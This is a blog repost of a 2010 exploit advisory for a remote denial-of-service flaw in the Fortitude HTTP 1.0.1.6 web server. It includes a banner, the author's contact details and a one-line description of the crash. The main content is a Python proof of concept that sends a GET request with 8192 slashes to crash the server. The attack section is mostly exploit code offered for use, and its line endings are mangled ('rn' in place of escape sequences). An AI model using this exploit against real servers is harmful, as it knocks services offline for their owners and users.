♺ Google is the best teacher ♺ | University of Gunadarma IT ☺

Fortitude HTTP 1.0.1.6 remote denial of service

 Text : 

#==========================================================================
==================================#
# _ _ __ __ __ _______ _____ __ __
_____ _ _ _____ __ __ #
# /_/ /_ /_ /_ /_ /_______) ) ___ ( /_/__/ ) ___ ( /_/ /_
/_____/_/__/ #
# ) ) )( ( ( /_/( ( ( ( ( ( (___ __// /_/ ) ) ) ) )/ /_/ ) )
)( ( (( (_____/) ) ) ) ) #
# /_/ //\ _ /_\ _ _ / / / / /_/ (_ /_/ /_/ // /_/ (_ /_/ //\ _\
__ /_/ /_/_/ #
# / / // / // / /__ / / /__ ( ( ( )_/ / / _/ )_/ / / / /
// /__/_ #
# )_) / (_(( (_(( (_____(( (_____( /_/ / )_) ) /_/ / )_) /
(_(( (_____)_) ) #
# _/ /_/ /_/ /_____/ /_____/ /_/_/ )_____( _/ )_____( _/
/_/ /_____/_/ _/ #
#
#
#==========================================================================
==================================#
#
#
# Vulnerability............Denial-of-Service
#
# Software.................Fortitude HTTP 1.0.1.6
#
#
Download.................http://www.networkdls.com/Download/HTTPServer32.ex
e #
# Date.....................5/16/10
#
#
#
#==========================================================================
==================================#
#
#
# Site.....................http://cross-site-scripting.blogspot.com/
#
# Email....................john.leitch5@gmail.com
#
#
#
#==========================================================================
==================================#
#
#
# ##Description##
#
#
#
# Fortitude HTTP 1.0.1.6 crashes upon receving an HTTP request containing a
relative resource path with an #
# excessive number of slashes.
#
#
#
#
#
# ##Exploit##
#
#
#
# GET / * 8192 HTTP 1.1
#
# Host: localhost
#
#
#
#
#
#
#
# ##Proof of Concept##
#
import socket
host ='localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.send('GET ' + '/' * 8192 + ' HTTP/1.1rn'
'Host: ' + host + 'rnrn')


Arrow  References :  http://securityreason.com/wlb_show/WLB-2010050113
  • Fortitude HTTP 1.0.1.6 remote denial of service
  • Unknown
  • May 20, 2010
  • No comments:
 

0 comments:

Post a Comment

silahkan tinggalkan komentar anda disini .. :D